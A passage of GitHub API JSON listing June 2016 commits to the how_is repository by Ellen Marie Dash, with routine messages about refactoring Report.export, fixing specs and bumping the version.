Report.export.","tree":{"sha":"7c302ef79e2ed67533a1d2347f4c982ebb7f9c56","url":"https://api.github.com/repos/how-is/how_is/git/trees/7c302ef79e2ed67533a1d2347f4c982ebb7f9c56"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4ef59ab6c49fecf042d5af6cc2a57e0614338987","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4ef59ab6c49fecf042d5af6cc2a57e0614338987","html_url":"https://github.com/how-is/how_is/commit/4ef59ab6c49fecf042d5af6cc2a57e0614338987","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4ef59ab6c49fecf042d5af6cc2a57e0614338987/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a10c9d2d9516371a151b1deee956ebd436cb65a7","url":"https://api.github.com/repos/how-is/how_is/commits/a10c9d2d9516371a151b1deee956ebd436cb65a7","html_url":"https://github.com/how-is/how_is/commit/a10c9d2d9516371a151b1deee956ebd436cb65a7"}]},{"sha":"a10c9d2d9516371a151b1deee956ebd436cb65a7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTEwYzlkMmQ5NTE2MzcxYTE1MWIxZGVlZTk1NmViZDQzNmNiNjVhNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:37:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:37:39Z"},"message":"Remove duplicate, broken implementtion of Report.export().","tree":{"sha":"549bbcbf8c73ca33e26559eb0bb880d2eee320ac","url":"https://api.github.com/repos/how-is/how_is/git/trees/549bbcbf8c73ca33e26559eb0bb880d2eee320ac"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a10c9d2d9516371a151b1deee956ebd436cb65a7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a10c9d2d9516371a151b1deee956ebd436cb65a7","html_url":"https://github.com/how-is/how_is/commit/a10c9d2d9516371a151b1deee956ebd436cb65a7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a10c9d2d9516371a151b1deee956ebd436cb65a7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb802d9252a4da33f02ee40dc9cd669da33f6d5c","url":"https://api.github.com/repos/how-is/how_is/commits/fb802d9252a4da33f02ee40dc9cd669da33f6d5c","html_url":"https://github.com/how-is/how_is/commit/fb802d9252a4da33f02ee40dc9cd669da33f6d5c"}]},{"sha":"fb802d9252a4da33f02ee40dc9cd669da33f6d5c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmI4MDJkOTI1MmE0ZGEzM2YwMmVlNDBkYzljZDY2OWRhMzNmNmQ1Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:23:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-24T22:23:52Z"},"message":"Don''t use Reporter; it''s unnecessary.","tree":{"sha":"79dad853c033bfe7820a0e3359035dccb056ad6f","url":"https://api.github.com/repos/how-is/how_is/git/trees/79dad853c033bfe7820a0e3359035dccb056ad6f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fb802d9252a4da33f02ee40dc9cd669da33f6d5c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fb802d9252a4da33f02ee40dc9cd669da33f6d5c","html_url":"https://github.com/how-is/how_is/commit/fb802d9252a4da33f02ee40dc9cd669da33f6d5c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fb802d9252a4da33f02ee40dc9cd669da33f6d5c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"60b4c0a5dc55a6c71f0bb92e5398e760b469871d","url":"https://api.github.com/repos/how-is/how_is/commits/60b4c0a5dc55a6c71f0bb92e5398e760b469871d","html_url":"https://github.com/how-is/how_is/commit/60b4c0a5dc55a6c71f0bb92e5398e760b469871d"}]},{"sha":"60b4c0a5dc55a6c71f0bb92e5398e760b469871d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjBiNGMwYTVkYzU1YTZjNzFmMGJiOTJlNTM5OGU3NjBiNDY5ODcxZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-23T02:23:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-23T02:23:52Z"},"message":"Fix Analyzer specs.","tree":{"sha":"06e841719b36be86de7ccbb9b0e4ad774a83583d","url":"https://api.github.com/repos/how-is/how_is/git/trees/06e841719b36be86de7ccbb9b0e4ad774a83583d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/60b4c0a5dc55a6c71f0bb92e5398e760b469871d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/60b4c0a5dc55a6c71f0bb92e5398e760b469871d","html_url":"https://github.com/how-is/how_is/commit/60b4c0a5dc55a6c71f0bb92e5398e760b469871d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/60b4c0a5dc55a6c71f0bb92e5398e760b469871d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f6eb94060d91a34bc6b2491aeb96d9171508580c","url":"https://api.github.com/repos/how-is/how_is/commits/f6eb94060d91a34bc6b2491aeb96d9171508580c","html_url":"https://github.com/how-is/how_is/commit/f6eb94060d91a34bc6b2491aeb96d9171508580c"}]},{"sha":"f6eb94060d91a34bc6b2491aeb96d9171508580c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjZlYjk0MDYwZDkxYTM0YmM2YjI0OTFhZWI5NmQ5MTcxNTA4NTgwYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-23T02:23:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-23T02:23:21Z"},"message":"Use Dates instead of Times.","tree":{"sha":"142f7043d03b7326e84b002fadbb88d7dadd7e24","url":"https://api.github.com/repos/how-is/how_is/git/trees/142f7043d03b7326e84b002fadbb88d7dadd7e24"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f6eb94060d91a34bc6b2491aeb96d9171508580c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f6eb94060d91a34bc6b2491aeb96d9171508580c","html_url":"https://github.com/how-is/how_is/commit/f6eb94060d91a34bc6b2491aeb96d9171508580c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f6eb94060d91a34bc6b2491aeb96d9171508580c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"75ee8e436fdbf7256635c539a7a974f427661107","url":"https://api.github.com/repos/how-is/how_is/commits/75ee8e436fdbf7256635c539a7a974f427661107","html_url":"https://github.com/how-is/how_is/commit/75ee8e436fdbf7256635c539a7a974f427661107"}]},{"sha":"75ee8e436fdbf7256635c539a7a974f427661107","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzVlZThlNDM2ZmRiZjcyNTY2MzVjNTM5YTdhOTc0ZjQyNzY2MTEwNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-23T01:46:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-23T01:46:03Z"},"message":"Use repository name from JSON reports when applicable. Closes #10.","tree":{"sha":"b42326cff7bf804892c7d7df6b520a2be82f31e0","url":"https://api.github.com/repos/how-is/how_is/git/trees/b42326cff7bf804892c7d7df6b520a2be82f31e0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/75ee8e436fdbf7256635c539a7a974f427661107","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/75ee8e436fdbf7256635c539a7a974f427661107","html_url":"https://github.com/how-is/how_is/commit/75ee8e436fdbf7256635c539a7a974f427661107","comments_url":"https://api.github.com/repos/how-is/how_is/commits/75ee8e436fdbf7256635c539a7a974f427661107/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6f0463e422debed7cf76e05b276e93a9b753d9ef","url":"https://api.github.com/repos/how-is/how_is/commits/6f0463e422debed7cf76e05b276e93a9b753d9ef","html_url":"https://github.com/how-is/how_is/commit/6f0463e422debed7cf76e05b276e93a9b753d9ef"}]},{"sha":"6f0463e422debed7cf76e05b276e93a9b753d9ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmYwNDYzZTQyMmRlYmVkN2NmNzZlMDViMjc2ZTkzYTliNzUzZDllZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:53:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:53:01Z"},"message":"Update README.md.","tree":{"sha":"c6f18691713225689decdd83d3c36e24ccffa956","url":"https://api.github.com/repos/how-is/how_is/git/trees/c6f18691713225689decdd83d3c36e24ccffa956"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6f0463e422debed7cf76e05b276e93a9b753d9ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6f0463e422debed7cf76e05b276e93a9b753d9ef","html_url":"https://github.com/how-is/how_is/commit/6f0463e422debed7cf76e05b276e93a9b753d9ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6f0463e422debed7cf76e05b276e93a9b753d9ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b1f595cabbb00ad523c5c341d5b53897b535d155","url":"https://api.github.com/repos/how-is/how_is/commits/b1f595cabbb00ad523c5c341d5b53897b535d155","html_url":"https://github.com/how-is/how_is/commit/b1f595cabbb00ad523c5c341d5b53897b535d155"}]},{"sha":"b1f595cabbb00ad523c5c341d5b53897b535d155","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjFmNTk1Y2FiYmIwMGFkNTIzYzVjMzQxZDViNTM4OTdiNTM1ZDE1NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:45:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:45:40Z"},"message":"Version bump.","tree":{"sha":"143899848b05e89425869c393351c4be4ee02789","url":"https://api.github.com/repos/how-is/how_is/git/trees/143899848b05e89425869c393351c4be4ee02789"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b1f595cabbb00ad523c5c341d5b53897b535d155","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b1f595cabbb00ad523c5c341d5b53897b535d155","html_url":"https://github.com/how-is/how_is/commit/b1f595cabbb00ad523c5c341d5b53897b535d155","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b1f595cabbb00ad523c5c341d5b53897b535d155/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"53a5dde3bc6bfef6dd73a922921352a1b04a5507","url":"https://api.github.com/repos/how-is/how_is/commits/53a5dde3bc6bfef6dd73a922921352a1b04a5507","html_url":"https://github.com/how-is/how_is/commit/53a5dde3bc6bfef6dd73a922921352a1b04a5507"}]},{"sha":"53a5dde3bc6bfef6dd73a922921352a1b04a5507","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTNhNWRkZTNiYzZiZmVmNmRkNzNhOTIyOTIxMzUyYTFiMDRhNTUwNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:44:10Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:44:10Z"},"message":"Update gemspec summary.","tree":{"sha":"cfa1ff10d6f6997efd8719a6617a47f07c009e2a","url":"https://api.github.com/repos/how-is/how_is/git/trees/cfa1ff10d6f6997efd8719a6617a47f07c009e2a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/53a5dde3bc6bfef6dd73a922921352a1b04a5507","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/53a5dde3bc6bfef6dd73a922921352a1b04a5507","html_url":"https://github.com/how-is/how_is/commit/53a5dde3bc6bfef6dd73a922921352a1b04a5507","comments_url":"https://api.github.com/repos/how-is/how_is/commits/53a5dde3bc6bfef6dd73a922921352a1b04a5507/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"827f7b469ca29476ea3eb7becb9bbd58498803d4","url":"https://api.github.com/repos/how-is/how_is/commits/827f7b469ca29476ea3eb7becb9bbd58498803d4","html_url":"https://github.com/how-is/how_is/commit/827f7b469ca29476ea3eb7becb9bbd58498803d4"}]},{"sha":"827f7b469ca29476ea3eb7becb9bbd58498803d4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODI3ZjdiNDY5Y2EyOTQ3NmVhM2ViN2JlY2I5YmJkNTg0OTg4MDNkNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:43:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:43:55Z"},"message":"Fix behavior of how_is executable.","tree":{"sha":"71aaa9af7b53a47a007b69df925edcfb7f5e73d7","url":"https://api.github.com/repos/how-is/how_is/git/trees/71aaa9af7b53a47a007b69df925edcfb7f5e73d7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/827f7b469ca29476ea3eb7becb9bbd58498803d4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/827f7b469ca29476ea3eb7becb9bbd58498803d4","html_url":"https://github.com/how-is/how_is/commit/827f7b469ca29476ea3eb7becb9bbd58498803d4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/827f7b469ca29476ea3eb7becb9bbd58498803d4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ff5691d12f509c1eec6a001b68cdbfb820a6213d","url":"https://api.github.com/repos/how-is/how_is/commits/ff5691d12f509c1eec6a001b68cdbfb820a6213d","html_url":"https://github.com/how-is/how_is/commit/ff5691d12f509c1eec6a001b68cdbfb820a6213d"}]},{"sha":"ff5691d12f509c1eec6a001b68cdbfb820a6213d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmY1NjkxZDEyZjUwOWMxZWVjNmEwMDFiNjhjZGJmYjgyMGE2MjEzZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:43:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-22T20:43:21Z"},"message":"Remove references to unused library 